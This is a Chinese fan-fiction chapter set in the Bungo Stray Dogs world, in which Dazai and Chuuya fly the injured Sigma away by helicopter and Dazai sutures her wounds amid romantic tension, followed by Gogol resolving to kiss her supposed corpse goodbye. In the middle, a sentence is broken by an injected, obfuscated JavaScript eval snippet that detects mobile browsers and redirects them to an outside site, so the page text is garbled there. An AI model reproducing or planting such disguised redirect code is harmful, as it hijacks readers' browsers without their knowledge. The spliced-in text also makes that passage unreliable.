太宰治的目光落在西格玛苍白得近乎透明的脸上。 她的睫毛还沾着未干的湿意,下唇的齿痕红得刺眼,整个人像株被狂风摧残后,依旧勉强支撑的幼芽。 太宰治想,眼前的人,他就收下了。 他的声音很轻,却带着一种不容置疑的笃定:“不管费奥多尔是一时兴起还是另有图谋,计划暂停的时间有限,我们得赶紧回横滨。” “我们”。 西格玛低垂着眼眸,长长的睫毛在眼睑下投出一小片黯淡的阴影。 她很清楚,这个词里,显然没有她。 哪怕他们曾为了生存短暂合作,哪怕她此刻狼狈不堪、毫无威胁,她曾经是天哀五人之一、是太宰治敌人的事实,也永远无法改变。 那些被操控着犯下的过错,那些站在对立面的过往,像一道无形的鸿沟,将她与“他们”彻底隔开。 西格玛的手指无意识地蜷缩,紧紧攥着衣摆,指节泛白,将所有不安与疏离都藏在沉默里。 太宰治像是看穿了她未说出口的心思,却没有点破,只是缓缓站起身,转头看向倚在直升机旁的中原中也。 他扬了扬下巴,语气里带着一丝惯有的调笑,眼底却藏着不容错辨的托付:“中也,麻烦你了。” 中原中也压了压头上的黑色礼帽,没应声,只是迈开长腿,几步便走到了西格玛面前。 他俯身,双臂稳稳地穿过她的膝弯与后背,稍一用力,便将她打横抱起。 动作干脆利落,像是执行任务时的干脆,却又在触到她微凉脊背的刹那,指尖几不可察地顿了顿。 中原中也视线避开西格玛的眼睛,落在她咬得殷红的唇瓣上。 那颜色比他收藏的红酒还要艳几分,莫名地晃了他的神。 与此同时,一股熟悉的淡淡气息瞬间涌进鼻腔。 ——那气息像是被雨水打湿的甘草,混着尘埃的味道。 清冽却执拗,是独属于西格玛的味道。 中原中也没说话,只是牢牢地抱着她,手臂下意识收紧,力道拿捏得恰到好处,既不会让她有滑落的风险,也不会让她因束缚而感到不适。 指尖触碰到的布料柔软,怀中人的身躯单薄得近乎易碎,与那股清冽却坚韧的气息形成奇妙的呼应。 中原中也微微偏过头,避开了与她对视的可能,耳尖却不易察觉地泛起一丝薄红。 只是依旧维持着惯有的冷硬神色,脚步沉稳地朝着直升机的方向走去。 突如其来的失重感让西格玛下意识绷紧了身体,脊背挺得笔直,一声短促而惊讶的轻呼溢出唇间:“……哎?” 她的脸颊瞬间泛起薄红,下意识想挣扎,却在触碰到中原中也坚实臂膀的瞬间,莫名停下了动作。 太宰治站在直升机舱门边,他伸手拉开舱门,朝着两人扬了扬手。 嘴角勾起一抹明朗的笑,眼底盛着细碎的光,没有半分平日的戏谑,只剩纯粹的笃定。 他的声音里带着穿透冷风的温度,清晰地传到西格玛耳中:“我不是说了吗?会带你活着出去。” 西格玛愣了愣,缓缓垂下头,长长的睫毛遮住眼底翻涌的情绪。 ……因为这个约定吗? 她的指尖悄然蜷缩起来,紧紧攥住了衣角,连带着掌心都沁出了细碎的汗。 太宰治先一步迈进直升机,步伐不紧不慢。 中原中也抱着西格玛紧随其后,小心翼翼地踏入机舱后座,避开了门框与舱壁的碰撞。 他屈膝下沉,手臂托着西格玛的力道缓缓卸去,掌心先轻轻垫在座椅边缘,再顺着她的后背慢慢滑落,将她稳稳安置在柔软的坐垫上。 指尖收回时,不经意蹭过她衣角残留的微凉。 中原中也顿了顿,随即若无其事地直起身,转身坐在一旁的座椅上,侧过脸,目光落在机舱壁的金属纹路处,刻意没有看向西格玛。 沉默在狭小的空间里弥漫了片刻,西格玛的声音轻得像一片羽毛,带着些许的沙哑:“谢谢你,中也先生。” ——“中也先生”。 中原中也依旧保持着侧头的姿势,下颌线绷得笔直,喉结微动,冷硬地回了句“不用谢”。 费奥多尔那个贫血混蛋也这么称呼他,但现在听过来,是两种完全不一样的感觉。 是哪两种不一样的感觉,中原中也没有细想。 待两人坐稳,太宰治关上舱门,将外界的冷意与狼藉彻底隔绝在机身之外。 他转身走向驾驶座,利落坐下,指尖刚触碰到操纵杆,直升机的螺旋桨便应声缓缓转动。 起初是低沉的嗡鸣,渐渐攀升为急促响亮的轰鸣,卷起的狂风搅动着地面的残尘,机身随之微微震颤,随即扶摇直上,将默索尔监狱特有的压抑与阴霾远远抛在身后。 直升机攀升至平稳航线,下方的监狱轮廓逐渐缩成模糊的小点,被渐浓的云层与暮色层层遮蔽。 太宰治指尖在操控面板上快速轻点,屏幕瞬间弹出一串加密坐标数据,那是坂口安吾提前发送的法国南部私人机场定位,红色标记在电子地图上格外醒目。 他指尖轻滑确认,自动驾驶系统的绿色指示灯应声亮起,柔和的光线映在他鸢色眼眸里,漾开几分漫不经心的笑意。 “AFCS锁定坐标,北纬43°39′55″,东经7°12′54″,高度三千英尺,航向法国尼斯近郊私人机场。” 太宰治轻描淡写地念出参数,语气里带着几分不出所料的了然:“安吾倒是选了个隐蔽的好地方。” 操作结束的太宰治随手搭在操纵台上,转头看向后座的中原中也,嘴角弯起惯有的弧度,语气带着几分调笑:“中也,换个位置?总不能让我全程当专职飞行员吧。” 中原中也眉峰微挑,压了压头顶的黑色礼帽,沉闷地应了一声:“知道了。” 他小心翼翼地从后座起身,动作刻意放轻,避免碰到身旁的西格玛。 起身时,他侧眼飞快地瞟了她一眼。 少女垂着眼眸,浅色发丝遮住半张脸,双手拘谨地交握在膝头,依旧是那副脆弱又疏离的模样。 自上飞机后,他便一直刻意回避着她的视线,此刻这匆匆一瞥,也只是转瞬即逝,快得像是错觉。 两人在狭窄的机舱通道里侧身交换位置,太宰治的纯白囚服与中原中也的棕色外套擦过,带起一阵微弱的气流。 中原中也坐进驾驶座,目光落在操控面板上,虽不常驾驶直升机,却也能看懂基础参数,顺手调整了一下机舱温度。 太宰治则径直走到后座,在西格玛身旁坐下,座椅轻微下陷。 他微微侧过身,手肘搭在椅背上,语气夸张又轻佻:“能和您这样美丽的小姐共处一室,翱翔在高空之上,真是我的荣幸呢,西格玛小姐。” 西格玛的脸颊泛着一层淡淡的红晕,像被薄霞染上,她下意识地往旁边缩了缩,垂得更低的眼眸里闪过一丝慌乱。 太宰治见状,眼底笑意更甚,只当她是被这番玩笑话羞到了。 可下一秒,他敏锐地察觉到不对劲。 少女的呼吸似乎有些急促,额前的碎发被细密的汗珠濡湿,连那泛着红晕的脸颊,颜色也透着几分不正常的灼热。 他收敛了玩笑的神色,伸手便抚上她的额头。 指尖触及的瞬间,温热的触感传来,带着明显的烫意,与她苍白的面色形成刺眼的反差。 “很烫。”太宰治的声音沉了下来,鸢色眼眸里的戏谑彻底褪去,只剩下凝重,“你发烧了。” 中原中也听到动静,回头看了一眼,眉头瞬间拧紧。 太宰治蹲在储物格前,指尖快速翻检着急救包的夹层,里面只有几板止痛药和消炎药,连一片退烧药的影子都没有。 他啧了一声,将药板攥在手里站起身,刚要开口,一瓶矿泉水就从驾驶座的方向抛了过来。 他抬手稳稳接住,转头便对上中原中也瞥过来的眼神。 对方很快转了回去,盯着自动驾驶的仪表盘,耳根泛着不易察觉的红,声音硬邦邦的:“驾驶座侧边的储物槽里摸的,就这一瓶。” 太宰治低笑一声,没戳破他刻意的关心,转身坐回西格玛身边。 他伸手又探了探她的额头,烫意比刚才更明显了些。 西格玛靠在舱壁上,眼睫半垂着,脸色白得像纸,脸颊却烧着不正常的红晕,连睁眼的力气都快没了,整个人都透着一股烧得迷糊的昏沉。 “没有退烧药,”太宰治的声音放得很轻,带着难得的正经,“但你这烧,大概率是之前的伤口发炎引起来的。先把消炎药和止痛药吃了压一压,你的伤口也必须尽快处理。” 西格玛闻言,缓缓抬起眼,视线涣散地落在他脸上,像株被风雨打蔫的花,轻轻点了点头。 她抬手接过药板和水,指尖碰着瓶身的凉意让她瑟缩了一下,却还是凭着一股本能,倒出药片塞进嘴里,仰头灌了好几口水,一口气咽了下去。 药片的苦涩在喉咙里漫开,她忍不住皱了皱眉,又很快垂下手,靠回舱壁上,呼吸渐渐变得浅而重,带着灼热的温度。 太宰治看着她这副乖顺又脆弱的模样,心底莫名掠过一丝异样的情绪。 ——真听话啊,我说什么都会乖乖照做呢。 他指尖停顿半秒,那点陌生的柔软在心底悄然漫开,却未作多余动作。 只是从急救包里翻出消毒针线,指尖捏着针尾,借着机舱顶灯的光穿线,动作利落得不像在做这种精细活。 太宰治低头专注地打了个结,头也没抬:“伤口得重新清创缝合,不然炎症压不住,烧退不了。” 西格玛靠在舱壁上,头脑昏沉,视线都有些发虚。 她听懂了“处理伤口”,也明白要处理胸口和腰腹的伤,就得先把碍事的衣服解开。 西格玛垂眸看着这块费奥多尔之前给她缠的、已经渗血发硬的布料,没有多余的犹豫,只是抬手将它一层一层的取下,轻轻地放在了一旁。 接着是沾着尘土与暗红血渍的西装外套,她抬手褪到臂弯,再滑落到座椅上。 最后,西格玛指尖发颤地解着衬衫扣子—— 一颗、两颗……直到最后一个颗解开,领口敞开来,她才停下,微微偏头,等着太宰治动手。 太宰治原本还在低头捻线,余光忽然瞥见一片莹润的雪白,猛地抬眼。 衬衫敞开,少女胸前的黑色文胸勾勒出饱满的曲线,莹润的雪白肌肤在机舱冷光下泛着细腻的光泽。 胸口随着浅促的呼吸微微起伏,胸口旧伤的包扎还在,左腰腹那道刺入伤却狰狞地露着,皮肉外翻,渗着暗红的血,与那片雪白形成刺目的对比。 太宰治的指尖一顿,呼吸几不可察地滞了半拍,目光在那片肌肤上短暂停留。 这并非他第一次见到伤者的肌肤,可此刻看着她身上的伤痕,看着那片雪白肌肤上的狰狞伤口,心底竟涌起一股莫名的烦躁。 鸢色眼眸里掠过一丝不易察觉的失神,还有一丝连他自己都未曾察觉的、朦胧的怜惜。 “你在做什么啊——!” 一声低喝从前座炸响。 中原中也不知何时猛地回头,礼帽下的脸瞬间红透,从耳尖蔓延到下颌,连脖颈都泛着薄红。 他瞪着后座敞开的衬衫与露出来的肌肤,瞳孔微缩,话一出口就慌了分寸,下一秒又飞快地转了回去。 脊背绷得笔直,手死死攥着操纵台边缘,指节泛白。 西格玛被这声吼惊得愣了愣,烧得发懵的脑子还没转过弯,只呆呆地应了一句:“处、处理伤口……” 中原中也没再说话。 机舱里只剩下直升机平稳的嗡鸣。 他背对着后座,耳尖还在发烫,脑子里却不受控制地回放着刚才那一眼。 ——雪白的肌肤、柔软的曲线、还有腰腹处那道血淋淋的刺入伤,混着她烧得泛红的脸颊,乱成一团。 心脏莫名跳得发快,又酸又涩,混着一股说不清的烦躁与心疼,连呼吸都乱了半拍。 中原中也攥着操纵台的手指节发白,暗骂自己没出息,却怎么也压不下心底那阵莫名的燥热与慌乱。 太宰治先一步回过神,那一闪而过的思绪,被他飞快地藏进浓密的睫毛阴影里。 不是只我一个人能看到啊。 思绪转瞬即逝。 他轻咳一声,语气恢复了惯有的轻佻,却多了几分认真:“嘛,看来西格玛小姐比我想象中还要果断啊。” 太宰治拿起碘伏棉片,指尖刻意避开她的肌肤,只专注地清理伤口,语气里带着不容置疑的沉稳,“忍着点,先清创,会有点疼。” 西格玛“嗯”了一声,重新靠回舱壁,烧得发沉的眼皮半垂着,任由他摆弄。 前座的中原中也依旧僵着背,假装盯着仪表盘,余光却不受控制地往后视镜瞟,只瞥见一片模糊的雪白,又飞快收回,耳根红得更厉害了。 机舱里只剩下消毒棉片摩擦皮肉的轻响、直升机平稳的嗡鸣,还有前座中原中也略显急促的呼吸声。 淡淡的药味混着她身上清浅的气息,在狭小的空间里缠成一团,挥之不去。 碘伏棉片擦过伤口边缘的皮肉,激起一阵细密的刺痛。 西格玛原本半垂的眼睫猛地一颤,下意识地绷紧了脊背,指尖死死抠住座椅的皮革,指腹被压出深深的印痕。 太宰治的动作很稳,穿了线的银针刺破皮肉的瞬间,西格玛还是忍不住倒抽一口凉气。 她咬着下唇,将所有闷哼都咽回喉咙里,唇瓣很快被牙齿咬出一道红痕,渗出血丝来。 疼,是那种尖锐的、带着灼热感的疼,顺着神经蔓延到四肢百骸,烧得发沉的脑子都清醒了几分。 西格玛依旧没有发出任何声音,只是垂着眼,看着太宰治低垂的眉眼,看着他指尖的针线在自己的伤口上穿梭。 水汽渐渐在她眼底氤氲开来,将淡粉色的眼眸蒙上一层雾,泪水越蓄越多,越积越重。 西格玛依旧咬着唇,不肯让呜咽溢出喉咙,只有那点湿意,泄露了她强撑的隐忍。 机舱里的嗡鸣似乎都被这细碎的刺痛盖了过去,只有消毒水的味道混着淡淡的血腥味,在狭小的空间里弥漫。 前座的中原中也听得一清二楚。 那声压抑的抽气,还有西格玛强忍着疼的、几不可闻的闷哼,像细小的针,一下下扎在他心上。 他死死盯着仪表盘,屏幕上的绿光映得他脸色发沉,握着操纵台的手指却越收越紧,指节泛白,连骨节都隐隐凸起。 心脏像是被一只无形的手攥住了,又酸又涩,还透着一股说不清道不明的烦躁。 中原中也明明不想看的,可脑子里却不受控制地描摹着,那片刺目的雪白和狰狞的伤口,画面在脑海里翻来覆去,挥之不去。 他鬼使神差地瞥了一眼后视镜,目光落在镜片里西格玛的面颊上—— 西格玛垂着眸,脸颊上正挂着未干的泪珠,长长的睫毛湿漉漉地黏在眼睑上,一颤一颤的,透着一股令人心颤的脆弱。 这样忍耐着,静静落泪的样子,格外的惹人心疼。 她该有多疼? 那点心疼和烦躁搅在一起,化作一股燥热,从心口蔓延到四肢百骸,连耳根都烧得发烫。 中原中也甚至想回头吼一句“太宰你能不能轻点”,可话到嘴边,又被他咽了回去,只剩下重重的、带着几分慌乱的呼吸。 后视镜里偶尔掠过太宰治低头的侧脸,掠过西格玛紧咬着唇的模样,中原中也猛地闭了闭眼,暗骂自己没出息。 他是港口□□的干部,见过的血腥场面不计其数,怎么会因为这点动静就乱了方寸? 可偏偏,那声闷哼又响起来,轻得像羽毛,却重重地落在他心上。 酸涩的感觉越来越浓,混着一丝连他自己都没察觉的心疼,堵得他胸口发闷。 中原中也只能攥紧了拳头,指节抵着操纵台,任由那点说不清道不明的情绪,在机舱的嗡鸣里,一点点发酵。 机舱里的空气仿佛被螺旋桨的震动搅得发沉,前座的沉默与后座的低气压无声交织。 唯有银针穿过皮肉的轻响,在嗡鸣里格外清晰。 太宰治的针线仍在有条不紊地穿梭,动作依旧利落干脆。 每一次刺入与挑出,都精准得不带半分迟疑。 直到一滴温热的水珠猝然溅落在他手背上,带着微不可察的凉意。 他才微微一怔,动作下意识放缓,随即垂眸望去。 正撞见西格玛眼底未干的湿意,垂落的睫羽被泪水浸湿,像蝶翼般颤了颤,两道浅浅的泪痕顺着苍白的脸颊蜿蜒而下,还沾着未散尽的脆弱。 太宰治的动作猝然顿住,指尖的针线悬在半空中。 他望着她那低垂着的、被泪水溢满的双眼。 澄澈的眸光浸在水光里,就像是被水波轻轻漾着的粉水晶,蒙着一层易碎的柔光。 太宰治的眼睫同样颤了颤。 鸢色眼眸里还带着先前缝合时的专注与审慎,但那些被刻意压下的朦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193635|197107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 胧怜惜与心疼,却在此刻毫无预兆地冲破桎梏,骤然放大。 机舱里的嗡鸣仿佛在这一刻骤然清晰,盖过了所有细碎声响。 太宰治没说话,也没抬手去擦她的眼泪,只是喉结轻轻滚动了一下,随即手下的速度陡然加快。 银针穿梭的频率变快,每一次刺入与挑出都精准果断,带着一种近乎急切的利落,像是与时间赛跑。 他想快点结束这场疼痛,想让她少受一点煎熬。 “快好了。” 太宰治轻声说着,声音比刚才更沉了些,带着一丝自己都没察觉的紧绷。 西格玛没应声,只是咬着唇的力道松了松,额角的冷汗顺着鬓角滑落,滴在衬衫的布料上,晕开一小片深色的痕迹。 针线在肌肤上快速游走,伤口边缘的皮肉被细密地缝合起来,原本狰狞的裂口渐渐收拢。 不过片刻,最后一针穿过皮肤,太宰治手腕一转,利落打了个结。 这场痛苦的缝合宣告了结束。 太宰治拿出剪刀,剪断多余的线头,指尖悬在伤口上方顿了顿,随后捏着碘伏棉片,又细细地在缝合好的伤口及周边皮肤上擦了一遍。 冷冽的药味漫开,西格玛疼得瑟缩了一下,咬着的下唇又加重了力道。 “好了,消毒收尾,这样炎症才好得快。” 太宰治的声音很轻,抬手从急救包里抽出卷好的无菌绷带,动作轻柔地绕着她的腰腹缠裹。 他小心地包裹好刚缝合的伤口,绷带的力道控制得恰到好处,既不会松动移位,也不会勒得她呼吸不畅。 太宰治收回缠裹腰腹的手,目光落在西格玛胸口隆起的绷带处。 那片白色早已被冷汗与浅淡的血渍浸得半透,紧贴着衣物勾勒出模糊的轮廓。 他指尖握着剩余的绷带,声音依旧是那种漫不经心的轻缓,却带着不容置疑的笃定:“湿透的包扎可不行,潮气闷在伤口上,只会让炎症变本加厉,得换掉。” 西格玛垂眸看了眼自己胸前濡湿的痕迹,瞬间明白了他的意思。 她没说话,只是将手搭在敞开的衬衫上,指尖的颤抖比刚才更明显些,却没有丝毫犹豫,将沾染了血污与汗湿的衬衫脱了下来,随手放在身侧的座椅上。 裸露的肩颈线条纤细,肌肤在舱内冷白色的灯光下,泛着一层薄瓷的光泽,晃得太宰治有些移不开眼。 费奥多尔……他们对你都做了什么? 一股涩意骤然漫上心头,他望着她毫无防备的模样,喉结微滚,无声喟叹——如此乖顺的你。 太宰治的目光未动,始终胶着在她胸前濡湿的绷带与裸露的肩颈之间。 静得仿佛能听见空气流动的微响,他静静注视着西格玛接下来的举动。 她似是全然接纳了他的安排,没有半分迟疑。 只是低垂着眼眸,长睫在眼睑下方投下一小片浅淡的阴影,掩去了眼底可能存在的情绪。 抬手便伸向背后的文胸背扣,指尖刚触到冰凉的金属搭扣,还未及摸索着解开。 一只骨节分明的手突然覆了上来,稳稳摁在了西格玛的肩膀上。 太宰治掌心的触感反馈到大脑,触到的皮肤光滑如玉,细腻得几乎让指尖都有些发痒。 他的心跳莫名漏了一拍,那柔软的触感像电流般窜过四肢百骸。 指尖微微收紧,又很快放松下来。 太宰治的掌心带着比西格玛肌肤更加灼热的温度,却意外地没有用力,只是轻轻按住了她的动作,语气里听不出太多情绪,只淡淡道:“不需要。” 西格玛的动作一顿,疑惑地抬眼看他。 “只要我小心些,绕开这里就好。”他补充道,指尖微微用力,示意她不必再动。 他的目光始终落在她胸口的绷带处,没有丝毫游离,仿佛只是在专注于此,唯有微微绷紧的指节,泄露了几分隐藏的情绪。 西格玛愣了愣,眼底的困惑渐渐褪去,取而代之的是一种温顺的顺从,她轻轻“嗯”了一声,乖乖停下了动作,双手自然地垂在身侧,任由他处置。 前座的中原中也透过后视镜,将这一幕看得一清二楚。 太宰治摁在西格玛肩膀上的手、她裸露的肌肤、那份不加设防的顺从,都像火星子一样溅在他的心上,让他本就泛红的耳根瞬间红透了大半,连脖颈都染上了一层薄红。 胸腔里的心跳骤然失控,比刚才听到西格玛隐忍的瑟缩声时还要剧烈,几乎要冲破胸膛。 中原中也下意识地攥紧了手指,指节泛白,喉咙里涌上一股想吼出声的冲动。 ——想吼太宰治别太得寸进尺,想吼西格玛别这么不设防。 可最终却只是硬生生憋了回去,只觉得脸上滚烫,连呼吸都变得有些急促。 他只能死死盯着前方的蓝天,假装自己什么都没看见,可后视镜里的画面却像烙印一样刻在眼底,挥之不去。 太宰治没有在意前座那人的反应,他的注意力全在西格玛的伤口上。 他指尖捏住旧绷带的边缘,动作轻得像怕惊扰了什么,一点点将湿透的绷带拆开。 即便已经刻意避开,指尖还是不可避免地擦过她胸口细嫩的肌肤。 那触感柔软得不可思议,像云朵拂过指尖,像最细腻的丝绸划过掌心,带着温热的温度。 让太宰治心头一颤,下意识地放慢了动作。 真软,比他想象中还要软。 这念头像电流般窜过脑海,他骤然回神,耳尖掠过一丝不易察觉的热意,指尖随即猛地加快了速度。 力道依旧克制,尽量避免牵扯到伤口,只是拆绷带的动作变得干脆利落,带着几分刻意的急切,像是在逃离某种不受控的悸动。 绷带拆开后,那道长长的伤口彻底暴露在眼前,缝合的线迹整齐却依旧狰狞,泛着淡淡的红肿,周围还沾着些许未清理干净的血痂。 太宰治用着近乎严肃的专注,他重新拿起一片棉片,蘸取了足量的碘伏,从伤口中心向外缓缓擦拭,动作比刚才处理腰腹伤口时还要轻柔。 消毒时,带着凉意的棉片刚碰到伤口,西格玛便不受控地瑟缩了一下。 他的动作当即顿住,指尖悬在半空,静静等了半秒,直到她紧绷的肩头微微松弛,才重新落下力道。 太宰治指尖的动作,温柔得不像平时的他。 西格玛的肌肤莹润如瓷器,胸口那道缝合好的伤疤,就像是瓷面上一道突兀的裂缝。 而此刻的太宰治,正以极致的小心,修复着这件破损的珍宝。 他小心翼翼的,每一步都做的极其仔细。 消毒完毕后,太宰治抽出新的窄幅无菌绷带,一层层小心翼翼地缠裹固定。 力道依旧控制得恰到好处,既保证了绷带的稳固,又不会压迫到伤口。 全程始终刻意避开不该触碰的地方,就像他只专注于伤口的护理。 前座的中原中也听到后座的动静渐歇,紧绷的脊背才稍稍放松,却还是没敢回头。 耳根的红意迟迟没褪,心跳依旧比平时快了半拍。 那是种陌生的感觉,像有什么温热的东西堵在胸口,带着点说不清道不明的憋闷,又夹杂着一丝微末的、连他自己都无法定义的柔软。 中原中也从未有过这样的体验。 既不是战斗后的疲惫,也不是被太宰挑衅后的怒火,模糊又真切,让他浑身都透着股不自在。 他暗自蹙眉,心底满是不解—— 自己究竟是怎么了? 不过是旁人受伤被照料的寻常场景,换做往日,他只会觉得麻烦或是漠然置之。 如今却像被什么东西绊住了心神,连呼吸都跟着不平稳。 那些陌生的、连名字都叫不出的情绪,分明不该出现在他这等早已习惯血雨腥风的人身上。 中原中也眉头蹙得更紧了。 难道是中了什么隐蔽的异能?不对,明明太宰这家伙就在旁边,他之前也碰过他,所以他应该没中异能才对。 是生病了?不然心跳怎么会快得这么离谱,连呼吸都跟着乱了节奏,耳根的热度也迟迟散不去。 等回了港口□□,一定要去做个全面检查。 中原中也这么想着,试图用理性的判断压下这份莫名的躁动。 比起他从未遇到过的事情,他更愿意相信自己生病了。 机舱里的嗡鸣依旧低沉,后座的窸窣声响渐渐平息,只剩下银针收起时轻微的碰撞声,落在安静的空气里格外清晰。 处理完伤口,西格玛垂着眼,长长的睫羽在眼下投出一小片浅影。 她指尖轻轻捻着衬衫的衣角,先将衣料小心地拢过肩头,避开刚包扎好的伤口,再顺着衣襟的弧度,将方才解开的扣子,一颗一颗慢慢扣好。 指尖掠过冰凉的扣面时,还带着几分细微的颤抖,却透着一股不愿再袒露脆弱的执拗,直到领口严严实实收拢,遮住脖颈处的薄汗,才缓缓放下手。 太宰治垂眸,瞥见西格玛拢着那件染了斑驳血迹的衬衫,指尖勾着衣摆,动作轻缓地套上肩头,布料蹭过新包扎的伤口时,她还极轻地蹙了蹙眉。 他目光微抬,落向一旁座椅上那件白色外套,布料早已被尘土与血渍浸透,沾满了狼藉,根本没法再穿。 太宰治转头看向前座依旧绷着脊背的中原中也,语气带着惯有的调笑,却藏着一丝不容拒绝:“喂,中也,把你的外套脱下来。” “哈?凭什么?”中原中也头也没回,咬牙骂了一声,语气硬邦邦的,“要穿不会找你自己的?” “我的囚服可没办法给别人穿。” 太宰治轻笑一声,语气漫不经心,“总不能让刚缝好伤口的小姐,穿着染血的衣服吹风吧?万一着凉,发烧又加重了,你负责?” 中原中也沉默了几秒,握着操纵台的手指紧了又松。 身后传来西格玛轻微的呼吸声,带着刚经历过疼痛的虚弱,那点还没散去的心疼与烦躁又涌了上来。 ——真是奇了怪了! 他闷哼一声,抬手解开棕色短外套的扣子,利落脱下这件版型利落的短款外套,猛地转身丢了过去,脸依旧扭向一边,耳根还泛着未褪的红:“拿去!弄脏了给我洗干净!” 太宰治抬手稳稳接住,短外套上还带着中原中也身上的体温与淡淡的雪松硝烟味,粗粝的面料触感扎实。 他没理会中原中也的抱怨,转身将短外套递到西格玛面前,语气柔和了几分:“穿上吧,保暖。” 西格玛靠在舱壁上,烧还没完全退,意识依旧有些昏沉。 她看着递到面前的棕色短外套,又抬眼扫过太宰治,再瞥了一眼前座依旧不肯回头的中原中也,愣了愣,才轻声说了句:“谢谢。” 声音轻软,带着刚哭过的沙哑,没特意对着谁说,却让两个男人都心头一动。 太宰治挑了挑眉,鸢色眼眸里闪过一丝笑意,默认她是在谢自己,顺手将短外套往她肩头拢了拢:“不用客气,西格玛小姐。” 而前座的中原中也,听到那声“谢谢”,耳尖瞬间烧得更烫了。 他死死盯着仪表盘,假装没听见,心里却忍不住笃定,肯定是在谢他。 毕竟,这可是他的外套。 中原中也攥着操纵台的手指微微放松,心底那点别扭的烦躁渐渐褪去,取而代之的是一丝不易察觉的暖意,连呼吸都平稳了几分。 西格玛顺从地将棕色短外套穿在身上,宽大的肩线衬得她身形愈发单薄,短款的长度刚好遮住腰腹的伤口,带着陌生的男性体温与气息,莫名让她感到一阵安心。 她抬手拢了拢衣领,将敞开的衬衫完全遮住,只露出一小截苍白的脖颈,靠在舱壁上,眼皮越来越沉,渐渐陷入了昏沉的睡眠。 太宰治靠在一旁的座椅上,目光久久落在西格玛熟睡的侧脸上,鸢色眼眸里的戏谑与漫不经心尽数褪去,只剩下沉沉的若有所思。 她的烧还未完全退去,绯红的色泽漫在白皙的脸蛋上,像晕开的胭脂,连带着眼尾都染上几分浅浅的红。 长长的睫毛垂落下来,在眼睑下投出一小片柔软的阴影,呼吸轻浅而均匀,褪去了之前的警惕与脆弱,只剩下熟睡时的恬静。 他看着她泛着绯红的脸颊,看着她垂落的眼睫,看着她微微蹙起的眉头。 即便在睡梦中,似乎也残留着几分未散的疼意,透露着一股坚韧又易碎的美感。 太宰治的指尖无意识地摩挲着膝盖,心底悄然漫开一声低叹,带着连自己都未曾深究的柔软。 “真是糟糕啊,”他在心里轻声念道,目光依旧胶着在她脸上,带着几分无奈,又藏着几分直白的贪恋,“不管什么时候,我都觉得你好可爱。” 太宰治又瞥了一眼前座依旧绷着背、却悄悄放缓了呼吸的中原中也,嘴角勾起一抹意味深长的笑。 哎呀呀,不止我一个人被吸引了呢。 他在心底轻笑,指尖的摩挲微微一顿,带着几分孩子气的计较与玩味。 西格玛小姐,果然很受欢迎啊。 太宰治再次看向一旁的西格玛,她依旧熟睡着,穿着中原中也的那件外套,眉头微蹙的模样,连睡梦中都透着几分隐忍的乖巧。 有点嫉妒了呢。 这个念头冒出来时,连太宰治自己都低低地笑了笑。 他眼底的情绪愈发复杂,鸢色眼眸中映照出眼前熟睡的西格玛。 却只是这样静静的看着。 机舱里只剩下直升机平稳的嗡鸣,消毒水的味道逐渐散去,狭小的空间里,弥漫着一种微妙而安静的暖意。 21. 高空 风卷着灰烬与焦糊的气味,在空旷的停机坪废墟上打着旋。 果戈里双手捧着那截裹着绷带、尚有余温的残肢,指尖传来的冰凉触感与记忆中的体温交错。 让那句“迷失了”的低语,沉甸甸地坠在心头。 西格玛死了,费奥多尔也死了。 缠绕他的、令他爱恨交织又无比熟悉的双重枷锁,似乎在爆炸的火光与太宰治平静的宣告中,同时崩断了。 自由,他梦寐以求的、绝对的“自由”,此刻像这片废墟上空的天空一样,苍白,空旷,无边无际,也……空无一物。 心口的位置,不是疼痛,而是一种被彻底掏空后的虚无,风毫无阻碍地穿过,只留下冰冷的回响。 果戈里逃避了确认西格玛的死亡,用费佳的死亡来麻痹自己。 可这“自由”的滋味,为何如此苦涩,如此……寂寞? “西格玛,你自由了吗?” 他曾对着风问,答案或许也只有风知道。 而现在,一个更尖锐的念头,如同蛰伏的毒蛇,猛地抬头,咬噬着他最后的逃避。 ——他真的,连看都不敢看她最后一眼吗? 连确认那个曾让他心绪翻涌、让他在费佳面前失控、甚至让他对“自由”产生一丝犹豫的身影是否真的化为冰冷的虚无,都不敢吗? 这念头一旦升起,便带着自我厌恶的灼烧感,驱散了部分麻木。 更深处,一个更具体、更隐秘、几乎带着亵渎意味的画面,蛮横地挤进了果戈里的脑海—— 他想吻她。 在一切都结束之前,在永恒的寂静吞噬她之前。 他想触碰那片他曾目睹费佳沾染、曾因嫉妒而灼烧、也曾在他自己疯狂的戏谑下短暂掠夺过的唇瓣。 不是带着掠夺或表演性质的吻,而是一种……告别。 一个只属于他果戈里,而非“小丑”,也非“挚友的竞争者”的吻。 一个或许能填补此刻空洞,或许能让他真正“感觉”到失去的吻。 这个念头如此清晰,如此强烈,带着一股自我毁灭般的甜蜜痛楚。 他真的,连这最后一点真实的触碰,都要因为怯懦而放弃吗? 连亲吻那个曾搅动他所有情绪、让他对“自由”产生动摇的身影,都不敢吗? 果戈里猛地攥紧了手中的残肢,骨节发出轻微的咯响。 不,不是不敢。 是……不该。 他“小丑”果戈里,何时需要逃避现实? 哪怕是血淋淋的、令人作呕的现实。 更何况,正是因为“不该”,才更要去做。 在一切规则崩坏的此刻,在连“自由”都显得虚无的此刻,为什么还要遵循那些无谓的“该”与“不该”? 他渴望那份真实的触感,那份冰冷的、不再回应的触感,来锚定他此刻漂浮无依的“自由”。 用这个吻,为她,也为自己扭曲的情感,烙下一个终结的印记。 决定了。 果戈里轻轻将费奥多尔的残肢放在一旁还算干净的断壁上,像放置一件无关紧要的旧物。 然后,他直起身,黑白斗篷在带着硝烟味的风中扬起。 脸上的迷茫与空洞如同潮水般褪去,取而代之的是一种刻意为之的、近乎肃穆的平静。 银霜色的十字瞳仁里,所有的戏剧化情绪都被收敛,只剩下一种即将面对终局般的冷澈,以及一丝未被察觉的、奔赴禁忌仪式的虔诚。 去见西格玛。 去见那个“不会再醒来”的西格玛。 去吻别他的爱人。 